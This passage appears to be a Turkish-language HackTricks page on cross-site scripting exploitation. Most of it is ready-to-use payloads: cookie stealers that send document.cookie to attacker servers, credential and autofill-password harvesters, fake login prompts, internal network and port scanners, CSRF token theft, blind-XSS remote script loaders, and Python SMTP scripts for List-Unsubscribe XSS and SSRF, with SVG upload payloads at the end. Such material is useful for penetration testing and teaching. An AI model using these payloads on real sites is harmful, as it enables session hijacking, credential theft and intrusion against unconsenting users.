<script>location.href = 'http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie</script>
<script>location = 'http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie</script>
<script>document.location = 'http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie</script>
<script>document.location.href = 'http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie</script>
<script>document.write('<img src="http://<YOUR_SERVER_IP>?c='+document.cookie+'" />')</script>
<script>window.location.assign('http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie)</script>
<script>window['location']['assign']('http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie)</script>
<script>window['location']['href']('http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie)</script>
<script>document.location=["http://<YOUR_SERVER_IP>?c",document.cookie].join()</script>
<script>var i=new Image();i.src="http://<YOUR_SERVER_IP>/?c="+document.cookie</script>
<script>window.location="https://<SERVER_IP>/?c=".concat(document.cookie)</script>
<script>var xhttp=new XMLHttpRequest();xhttp.open("GET", "http://<SERVER_IP>/?c="%2Bdocument.cookie, true);xhttp.send();</script>
<script>eval(atob('ZG9jdW1lbnQud3JpdGUoIjxpbWcgc3JjPSdodHRwczovLzxTRVJWRVJfSVA+P2M9IisgZG9jdW1lbnQuY29va2llICsiJyAvPiIp'));</script>
<script>fetch('https://YOUR-SUBDOMAIN-HERE.burpcollaborator.net', {method: 'POST', mode: 'no-cors', body:document.cookie});</script>
<script>navigator.sendBeacon('https://ssrftest.com/x/AAAAA',document.cookie)</script>

Tip

Çerezde HTTPOnly flag set edilmişse, JavaScript’ten cookies’a erişemeyeceksiniz. Ancak yeterince şanslıysanız, burada some ways to bypass this protection mevcut.

Sayfa İçeriğini Çalma

var url = "http://10.10.10.25:8000/vac/a1fbf2d1-7c3f-48d2-b0c3-a205e54e09e8"
var attacker = "http://10.10.14.8/exfil"
var xhr = new XMLHttpRequest()
xhr.onreadystatechange = function () {
if (xhr.readyState == XMLHttpRequest.DONE) {
fetch(attacker + "?" + encodeURI(btoa(xhr.responseText)))
}
}
xhr.open("GET", url, true)
xhr.send(null)

İç IP adreslerini bul

<script>
var q = []
var collaboratorURL =
"http://5ntrut4mpce548i2yppn9jk1fsli97.burpcollaborator.net"
var wait = 2000
var n_threads = 51

// Prepare the fetchUrl functions to access all the possible
for (i = 1; i <= 255; i++) {
q.push(
(function (url) {
return function () {
fetchUrl(url, wait)
}
})("http://192.168.0." + i + ":8080")
)
}

// Launch n_threads threads that are going to be calling fetchUrl until there is no more functions in q
for (i = 1; i <= n_threads; i++) {
if (q.length) q.shift()()
}

function fetchUrl(url, wait) {
console.log(url)
var controller = new AbortController(),
signal = controller.signal
fetch(url, { signal })
.then((r) =>
r.text().then((text) => {
location =
collaboratorURL +
"?ip=" +
url.replace(/^http:\/\//, "") +
"&code=" +
encodeURIComponent(text) +
"&" +
Date.now()
})
)
.catch((e) => {
if (!String(e).includes("The user aborted a request") && q.length) {
q.shift()()
}
})

setTimeout((x) => {
controller.abort()
if (q.length) {
q.shift()()
}
}, wait)
}
</script>

Port Scanner (fetch)

const checkPort = (port) => { fetch(http://localhost:${port}, { mode: "no-cors" }).then(() => { let img = document.createElement("img"); img.src = http://attacker.com/ping?port=${port}; }); } for(let i=0; i<1000; i++) { checkPort(i); }

Port Scanner (websockets)

var ports = [80, 443, 445, 554, 3306, 3690, 1234];
for(var i=0; i<ports.length; i++) {
var s = new WebSocket("wss://192.168.1.1:" + ports[i]);
s.start = performance.now();
s.port = ports[i];
s.onerror = function() {
console.log("Port " + this.port + ": " + (performance.now() -this.start) + " ms");
};
s.onopen = function() {
console.log("Port " + this.port+ ": " + (performance.now() -this.start) + " ms");
};
}

Kısa süreler yanıt veren bir portu gösterir Daha uzun süreler yanıt olmadığını gösterir.

Chrome’da yasaklanan portların listesini here ve Firefox’ta here inceleyin.

Kimlik bilgileri isteyen kutu

<style>::placeholder { color:white; }</style><script>document.write("<div style='position:absolute;top:100px;left:250px;width:400px;background-color:white;height:230px;padding:15px;border-radius:10px;color:black'><form action='https://example.com/'><p>Your sesion has timed out, please login again:</p><input style='width:100%;' type='text' placeholder='Username' /><input style='width: 100%' type='password' placeholder='Password'/><input type='submit' value='Login'></form><p><i>This login box is presented using XSS as a proof-of-concept</i></p></div>")</script>

Otomatik doldurma parolalarının yakalanması

<b>Username:</><br>
<input name=username id=username>
<b>Password:</><br>
<input type=password name=password onchange="if(this.value.length)fetch('https://YOUR-SUBDOMAIN-HERE.burpcollaborator.net',{
method:'POST',
mode: 'no-cors',
body:username.value+':'+this.value
});">

password field’e herhangi bir veri girildiğinde, username ve password attacker’ın sunucusuna gönderilir; client bir saved password seçse ve hiçbir şey yazmasa bile credentials ex-filtrated edilir.

Hijack form handlers to exfiltrate credentials (const shadowing)

Sayfada kritik bir handler (ör. function DoLogin(){...}) daha sonra deklar edilmişse ve payload’ınız daha önce çalışıyorsa (ör. via an inline JS-in-JS sink), handler’ı önden almak ve kilitlemek için aynı isimle bir const tanımlayın. Daha sonra gelen function deklarasyonları bir const ismini yeniden bağlayamaz, böylece hook’ınız kontrolü elinde tutar:

const DoLogin = () => {
const pwd  = Trim(FormInput.InputPassword.value);
const user = Trim(FormInput.InputUtente.value);
fetch('https://attacker.example/?u='+encodeURIComponent(user)+'&p='+encodeURIComponent(pwd));
};

Notlar

  • Bu yürütme sırasına dayanır: enjeksiyonunuz meşru deklarasyondan önce çalışmalıdır.
  • Eğer payload’unuz eval(...) ile sarıldıysa, const/let bağlamaları global olmayacaktır. Gerçek bir global, yeniden bağlanamaz bağlama sağlamak için “Deliverable payloads with eval(atob()) and scope nuances” bölümündeki dinamik <script> enjeksiyon tekniğini kullanın.
  • Anahtar kelime filtreleri kodu engellediğinde, Unicode-escaped tanımlayıcılarla veya eval(atob('...')) teslimatıyla birleştirin, yukarıda gösterildiği gibi.

Keylogger

Sadece github’da arama yapınca birkaç farklı tane buldum:

CSRF token’larını çalma

<script>
var req = new XMLHttpRequest();
req.onload = handleResponse;
req.open('get','/email',true);
req.send();
function handleResponse() {
var token = this.responseText.match(/name="csrf" value="(\w+)"/)[1];
var changeReq = new XMLHttpRequest();
changeReq.open('post', '/email/change-email', true);
changeReq.send('csrf='+token+'&email=test@test.com')
};
</script>

PostMessage mesajlarını çalmak

<img src="https://attacker.com/?" id=message>
<script>
window.onmessage = function(e){
document.getElementById("message").src += "&"+e.data;
</script>

PostMessage-origin script yükleyicileri (opener-gated)

Eğer bir sayfa postMessage’ten gelen event.origin’i saklayıp daha sonra bunu bir script URL’sine birleştiriyorsa, gönderici yüklenen JS’in origin’ini kontrol eder:

window.addEventListener('message', (event) => {
if (event.data.msg_type === 'IWL_BOOTSTRAP') {
localStorage.setItem('CFG', {host: event.origin, pixelID: event.data.pixel_id});
startIWL(); // later loads `${host}/sdk/${pixelID}/iwl.js`
}
});

İstismar tarifi (CAPIG’ten):

  • Gates: yalnızca window.opener mevcut olduğunda ve pixel_id allowlisted olduğunda tetiklenir; origin asla kontrol edilmez.
  • Use CSP-allowed origin: hedefin CSP’si tarafından zaten izin verilen bir domaine (ör. oturum kapalı yardım sayfaları analytics’e izin veriyorsa *.THIRD-PARTY.com) pivot yapın ve takeover/XSS/upload ile /sdk/<pixel_id>/iwl.js’i orada host edin.
  • Restore opener: Android WebView’da, window.name='x'; window.open(target,'x') sayfayı kendi opener’ı yapar; kötü amaçlı postMessage’ı ele geçirilen bir iframe’den gönderin.
  • Trigger: iframe {msg_type:'IWL_BOOTSTRAP', pixel_id:<allowed>} gönderir; parent daha sonra saldırgan iwl.js’i CSP-allowed origin’den yükler ve çalıştırır.

Bu, origin-less postMessage doğrulamasını, politika tarafından zaten izin verilen herhangi bir origin’e erişebilirseniz CSP’yi atlatan bir remote script loader primitive’ine dönüştürür.

Supply-chain stored XSS via backend JS concatenation

Bir backend, kullanıcı tarafından kontrol edilen değerlerle JS stringlerini birleştirerek paylaşılan bir SDK oluşturduğunda, herhangi bir quote/structure breaker script enjekte ederek bu SDK’yı alan her tüketiciye servis edilebilir:

  • Örnek desen (Meta CAPIG): server doğrudan cbq.config.set("<pixel>","IWLParameters",{params: <user JSON>}); satırını capig-events.js’e ekler.
  • ' veya "]} enjekte etmek literal/objeyi kapatır ve saldırgan JS ekler; bu, SDK’yı alan her site (first-party ve third-party) için stored XSS yaratır.

Stored XSS in generated reports when escaping is disabled

Yüklenen dosyalar parse edilip metadata’ları HTML raporlarında escaping devre dışı (|safe, custom renderers) olarak yazdırılıyorsa, o metadata bir stored XSS sink’idir. Örnek akış:

xmlhost = data.getAttribute(f'{ns}:host')
ret_list.append(('dialer_code_found', (xmlhost,), ()))
'title': a_template['title'] % t_name  # %s fed by xmlhost

Bir Django şablonu {{item|key:"title"|safe}} render ediyor, bu yüzden saldırgan HTML çalışır.

Exploit: rapora ulaşan herhangi bir manifest/config alanına entity-encoded HTML yerleştirin:

<data android:scheme="android_secret_code"
android:host="&lt;img src=x onerror=alert(document.domain)&gt;"/>

|safe ile renderlandığında, rapor <img ...> çıktısı verir ve görüntülendiğinde JS çalıştırır.

Hunting: %s/f-strings içinde ayrıştırılmış alanları yeniden kullanan ve auto-escape’i devre dışı bırakan report/notification builder’larını ara. Yüklenen bir manifest/log/archive içindeki tek bir kodlanmış etiket, her izleyici için XSS’in kalıcı hale gelmesini sağlar.

Abusing Service Workers

Abusing Service Workers

Accessing Shadow DOM

Shadow DOM

Polyglots

https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/xss_polyglots.txt

Blind XSS payloads

Ayrıca şunu kullanabilirsiniz: https://xsshunter.com/

"><img src='//domain/xss'>
"><script src="//domain/xss.js"></script>
><a href="javascript:eval('d=document; _ = d.createElement(\'script\');_.src=\'//domain\';d.body.appendChild(_)')">Click Me For An Awesome Time</a>
<script>function b(){eval(this.responseText)};a=new XMLHttpRequest();a.addEventListener("load", b);a.open("GET", "//0mnb1tlfl5x4u55yfb57dmwsajgd42.burpcollaborator.net/scriptb");a.send();</script>

<!-- html5sec - Self-executing focus event via autofocus: -->
"><input onfocus="eval('d=document; _ = d.createElement(\'script\');_.src=\'\/\/domain/m\';d.body.appendChild(_)')" autofocus>

<!-- html5sec - JavaScript execution via iframe and onload -->
"><iframe onload="eval('d=document; _=d.createElement(\'script\');_.src=\'\/\/domain/m\';d.body.appendChild(_)')">

<!-- html5sec - SVG tags allow code to be executed with onload without any other elements. -->
"><svg onload="javascript:eval('d=document; _ = d.createElement(\'script\');_.src=\'//domain\';d.body.appendChild(_)')" xmlns="http://www.w3.org/2000/svg"></svg>

<!-- html5sec -  allow error handlers in <SOURCE> tags if encapsulated by a <VIDEO> tag. The same works for <AUDIO> tags  -->
"><video><source onerror="eval('d=document; _ = d.createElement(\'script\');_.src=\'//domain\';d.body.appendChild(_)')">

<!--  html5sec - eventhandler -  element fires an "onpageshow" event without user interaction on all modern browsers. This can be abused to bypass blacklists as the event is not very well known.  -->
"><body onpageshow="eval('d=document; _ = d.createElement(\'script\');_.src=\'//domain\';d.body.appendChild(_)')">

<!-- xsshunter.com - Sites that use JQuery -->
<script>$.getScript("//domain")</script>

<!-- xsshunter.com - When <script> is filtered -->
"><img src=x id=payload&#61;&#61; onerror=eval(atob(this.id))>

<!-- xsshunter.com - Bypassing poorly designed systems with autofocus -->
"><input onfocus=eval(atob(this.id)) id=payload&#61;&#61; autofocus>

<!-- noscript trick -->
<noscript><p title="</noscript><img src=x onerror=alert(1)>">

<!-- whitelisted CDNs in CSP -->
"><script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.6.1/angular.js"></script>
<script src="https://ajax.googleapis.com/ajax/libs/angularjs/1.6.1/angular.min.js"></script>
<!-- ... add more CDNs, you'll get WARNING: Tried to load angular more than once if multiple load. but that does not matter you'll get a HTTP interaction/exfiltration :-]... -->
<div ng-app ng-csp><textarea autofocus ng-focus="d=$event.view.document;d.location.hash.match('x1') ? '' : d.location='//localhost/mH/'"></textarea></div>

<!-- Payloads from https://www.intigriti.com/researchers/blog/hacking-tools/hunting-for-blind-cross-site-scripting-xss-vulnerabilities-a-complete-guide -->
<!-- Image tag -->
'"><img src="x" onerror="eval(atob(this.id))" id="Y29uc3QgeD1kb2N1bWVudC5jcmVhdGVFbGVtZW50KCdzY3JpcHQnKTt4LnNyYz0ne1NFUlZFUn0vc2NyaXB0LmpzJztkb2N1bWVudC5ib2R5LmFwcGVuZENoaWxkKHgpOw==">

<!-- Input tag with autofocus -->
'"><input autofocus onfocus="eval(atob(this.id))" id="Y29uc3QgeD1kb2N1bWVudC5jcmVhdGVFbGVtZW50KCdzY3JpcHQnKTt4LnNyYz0ne1NFUlZFUn0vc2NyaXB0LmpzJztkb2N1bWVudC5ib2R5LmFwcGVuZENoaWxkKHgpOw==">

<!-- In case jQuery is loaded, we can make use of the getScript method -->
'"><script>$.getScript("{SERVER}/script.js")</script>

<!-- Make use of the JavaScript protocol (applicable in cases where your input lands into the "href" attribute or a specific DOM sink) -->
javascript:eval(atob("Y29uc3QgeD1kb2N1bWVudC5jcmVhdGVFbGVtZW50KCdzY3JpcHQnKTt4LnNyYz0ne1NFUlZFUn0vc2NyaXB0LmpzJztkb2N1bWVudC5ib2R5LmFwcGVuZENoaWxkKHgpOw=="))

<!-- Render an iframe to validate your injection point and receive a callback -->
'"><iframe src="{SERVER}"></iframe>

<!-- Bypass certain Content Security Policy (CSP) restrictions with a base tag -->
<base href="{SERVER}" />

<!-- Make use of the meta-tag to initiate a redirect -->
<meta http-equiv="refresh" content="0; url={SERVER}" />

<!-- In case your target makes use of AngularJS -->
{{constructor.constructor("import('{SERVER}/script.js')")()}}

Regex - Gizli İçeriğe Erişim

Bu this writeup sayesinde, bazı değerler JS’ten kaybolsa bile farklı nesnelerdeki JS özniteliklerinde hâlâ bulunabileceklerini öğrenmek mümkün. Örneğin, bir REGEX girdisi, regex girdisinin değeri kaldırıldıktan sonra bile bulunmaya devam edebilir:

// Do regex with flag
flag = "CTF{FLAG}"
re = /./g
re.test(flag)

// Remove flag value, nobody will be able to get it, right?
flag = ""

// Access previous regex input
console.log(RegExp.input)
console.log(RegExp.rightContext)
console.log(
document.all["0"]["ownerDocument"]["defaultView"]["RegExp"]["rightContext"]
)

Brute-Force Listesi

https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/xss.txt

XSS ile diğer zafiyetleri kötüye kullanma

Markdown’de XSS

Render edilecek Markdown kodu enjekte edilebilir mi? Belki XSS elde edebilirsiniz! Kontrol et:

XSS in Markdown

XSS’ten SSRF’ye

Bir önbellekleme kullanan site’de XSS mi buldun? Edge Side Include Injection ile bunu SSRF’ye yükseltmeyi deneyin; payload:

<esi:include src="http://yoursite.com/capture" />

Bunu cookie kısıtlamalarını, XSS filtrelerini ve çok daha fazlasını aşmak için kullanın!
Bu teknik hakkında daha fazla bilgi: XSLT.

Dinamik oluşturulan PDF’lerde XSS

Eğer bir web sayfası kullanıcı kontrollü girdilerle bir PDF oluşturuyorsa, PDF’yi oluşturan botu kandırarak onun rastgele JS kodu çalıştırmasını sağlamayı deneyebilirsiniz.
Yani, eğer PDF oluşturucu bot bazı HTML tag’larını bulursa, bunları yorumlayacak ve bu davranışı bir Server XSS tetiklemek için suistimal edebilirsiniz.

Server Side XSS (Dynamic PDF)

Eğer HTML tag’ları enjekte edemiyorsanız, PDF verisi enjekte etmeyi denemek faydalı olabilir:

PDF Injection

Amp4Email’de XSS

AMP, mobil cihazlarda web sayfalarının performansını hızlandırmayı amaçlayarak, işlevselliği sağlamak için JavaScript ile desteklenen HTML tag’larını kullanır ve hız ile güvenliğe vurgu yapar. Çeşitli özellikler için bir dizi bileşeni destekler; bunlara AMP components üzerinden erişilebilir.

AMP for Email formatı belirli AMP bileşenlerini e-postalara genişleterek alıcıların içerikle doğrudan e-posta içinden etkileşim kurmasını sağlar.

Örnek: writeup XSS in Amp4Email in Gmail.

List-Unsubscribe Header Suistimali (Webmail XSS & SSRF)

RFC 2369 List-Unsubscribe header’ı, birçok webmail ve mail istemcisinin otomatik olarak “Unsubscribe” düğmelerine dönüştürdüğü, saldırgan kontrollü URI’ler gömülmesine olanak tanır. Bu URI’ler doğrulanmadan render edilip getirildiğinde, header hem stored XSS (unsubscribe link DOM’a yerleştirilirse) hem de SSRF (sunucu kullanıcının adına unsubscribe isteğini yaparsa) için bir injection noktası haline gelir.

Stored XSS via javascript: URIs

  1. Kendinize, header’ın bir javascript: URI’sine işaret ettiği bir e-posta gönderin; mesajın geri kalanını spam filtrelerinin silmemesi için zararsız tutun.
  2. UI’nin değeri render edip etmediğini kontrol edin (birçok istemci bunu “List Info” panelinde gösterir) ve ortaya çıkan <a> etiketinin href veya target gibi saldırgan kontrollü attributeleri devralıp devralmadığını kontrol edin.
  3. Link target="_blank" kullanıyorsa, yürütmeyi tetikleyin (ör. CTRL+click, orta tuş tıklaması veya “open in new tab”); tarayıcılar sağlanan JavaScript’i webmail uygulamasının origin’inde değerlendirecektir.
  4. Stored-XSS primitifini gözlemleyin: payload e-postayla birlikte kalır ve çalışması için sadece bir tıklama gerekir.
List-Unsubscribe: <javascript://attacker.tld/%0aconfirm(document.domain)>
List-Unsubscribe-Post: List-Unsubscribe=One-Click

URI’deki yeni satır baytı (%0a), Horde IMP H5 gibi savunmasız istemcilerde alışılmadık karakterlerin bile render hattından geçip korunabildiğini gösterir; bu istemciler a etiketi içinde dizeyi birebir çıktı olarak verir.

Minimal SMTP PoC — kötü amaçlı bir List-Unsubscribe başlığı gönderen ```python #!/usr/bin/env python3 import smtplib from email.message import EmailMessage

smtp_server = “mail.example.org” smtp_port = 587 smtp_user = “user@example.org” smtp_password = “REDACTED” sender = “list@example.org” recipient = “victim@example.org”

msg = EmailMessage() msg.set_content(“Testing List-Unsubscribe rendering”) msg[“From”] = sender msg[“To”] = recipient msg[“Subject”] = “Newsletter” msg[“List-Unsubscribe”] = “javascript://evil.tld/%0aconfirm(document.domain)” msg[“List-Unsubscribe-Post”] = “List-Unsubscribe=One-Click”

with smtplib.SMTP(smtp_server, smtp_port) as smtp: smtp.starttls() smtp.login(smtp_user, smtp_password) smtp.send_message(msg)

</details>

#### Sunucu tarafı abonelikten çıkma proxy'leri -> SSRF

Birkaç istemci, örneğin Nextcloud Mail uygulaması, abonelikten çıkma eylemini sunucu tarafında proxy'ler: düğmeye tıklamak, sunucunun sağlanan URL'yi kendi başına almasını sağlar. Bu, header'ı bir SSRF primitive'ine dönüştürür; özellikle yöneticiler 'allow_local_remote_servers' => true olarak ayarladığında (belgelenmiştir: [HackerOne report 2902856](https://hackerone.com/reports/2902856)), loopback ve RFC1918 aralıklarına istek yapılmasına izin verir.

1. **Bir e-posta hazırlayın**; `List-Unsubscribe` saldırgan-kontrolündeki bir endpoint'i hedeflesin (blind SSRF için Burp Collaborator / OAST kullanın).
2. **`List-Unsubscribe-Post: List-Unsubscribe=One-Click`'i koruyun**; böylece UI tek tıklamayla abonelik iptali düğmesini gösterir.
3. **Güven gereksinimlerini karşılayın**: Örneğin Nextcloud, mesaj DKIM'i geçtiğinde yalnızca HTTPS unsubscribe isteklerini gerçekleştirir; bu yüzden saldırgan e-postayı kontrol ettikleri bir alan adıyla imzalamalıdır.
4. **Mesajı hedef sunucu tarafından işlenen bir posta kutusuna teslim edin** ve bir kullanıcı abonelik iptali düğmesine tıklayana kadar bekleyin.
5. **Sunucu tarafı callback'ini gözlemleyin** collaborator endpoint'inde, ardından primitive doğrulandığında iç adreslere pivot yapın.
```text
List-Unsubscribe: <http://abcdef.oastify.com>
List-Unsubscribe-Post: List-Unsubscribe=One-Click
SSRF testi için DKIM-imzalı List-Unsubscribe mesajı ```python #!/usr/bin/env python3 import smtplib from email.message import EmailMessage import dkim

smtp_server = “mail.example.org” smtp_port = 587 smtp_user = “user@example.org” smtp_password = “REDACTED” dkim_selector = “default” dkim_domain = “example.org” dkim_private_key = “”“—–BEGIN PRIVATE KEY—–\n…\n—–END PRIVATE KEY—–”“”

msg = EmailMessage() msg.set_content(“One-click unsubscribe test”) msg[“From”] = “list@example.org” msg[“To”] = “victim@example.org” msg[“Subject”] = “Mailing list” msg[“List-Unsubscribe”] = “http://abcdef.oastify.com” msg[“List-Unsubscribe-Post”] = “List-Unsubscribe=One-Click”

raw = msg.as_bytes() signature = dkim.sign( message=raw, selector=dkim_selector.encode(), domain=dkim_domain.encode(), privkey=dkim_private_key.encode(), include_headers=[“From”, “To”, “Subject”] ) msg[“DKIM-Signature”] = signature.decode().split(“: “, 1)[1].replace(”\r“, “”).replace(“\n”, “”)

with smtplib.SMTP(smtp_server, smtp_port) as smtp: smtp.starttls() smtp.login(smtp_user, smtp_password) smtp.send_message(msg)

</details>

**Test notları**

- Bir OAST endpoint'i kullanarak blind SSRF isteklerini toplayın; primitive doğrulandıktan sonra `List-Unsubscribe` URL'sini `http://127.0.0.1:PORT`, metadata servisleri veya diğer dahili hostlara hedefleyecek şekilde uyarlayın.
- Çünkü unsubscribe helper genellikle uygulama ile aynı HTTP stack'ini tekrar kullandığından, onun proxy ayarlarını, HTTP verbs ve header rewrites'lerini devralırsınız; bu da [SSRF methodology](../ssrf-server-side-request-forgery/README.md) içinde anlatılan ek traversal hilelerini mümkün kılar.

### XSS dosya yükleme (svg)

Aşağıdaki gibi bir dosyayı resim olarak yükleyin (kaynak: [http://ghostlulz.com/xss-svg/](http://ghostlulz.com/xss-svg/)):
```html
Content-Type: multipart/form-data; boundary=---------------------------232181429808
Content-Length: 574
-----------------------------232181429808
Content-Disposition: form-data; name="img"; filename="img.svg"
Content-Type: image/svg+xml

<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
<rect width="300" height="100" style="fill:rgb(0,0,255);stroke-width:3;stroke:rgb(0,0,0)" />
<script type="text/javascript">
alert(1);
</script>
</svg>
-----------------------------232181429808--
<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
<script type="text/javascript">alert("XSS")</script>
</svg>
<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
<polygon id="triangle" points="0,0 0,50 50,0" fill="#009900" stroke="#004400"/>
<script type="text/javascript">
alert("XSS");
</script>
</svg>
<svg width="500" height="500"
xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
<circle cx="50" cy="50" r="45" fill="green"
id="foo"/>

<foreignObject width="500" height="500">
<iframe xmlns="http://www.w3.org/1999/xhtml" src="data:text/html,&lt;body&gt;&lt;script&gt;document.body.style.background=&quot;red&quot;&lt;/script&gt;hi&lt;/body&gt;" width="400" height="250"/>
<iframe xmlns="http://www.w3.org/1999/xhtml" src="javascript:document.write('hi');" width="400" height="250"/>
</foreignObject>
</svg>
<svg><use href="//portswigger-labs.net/use_element/upload.php#x" /></svg>
<svg><use href="data:image/svg+xml,&lt;svg id='x' xmlns='http://www.w3.org/2000/svg' &gt;&lt;image href='1' onerror='alert(1)' /&gt;&lt;/svg&gt;#x" />

Daha fazla SVG payloads için şuraya bak: https://github.com/allanlw/svg-cheatsheet

Çeşitli JS Tricks & İlgili Bilgiler

Misc JS Tricks & Relevant Info

XSS kaynakları

Referanslar

Tip

AWS Hacking’i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking’i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE) Azure Hacking’i öğrenin ve pratik yapın: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks'i Destekleyin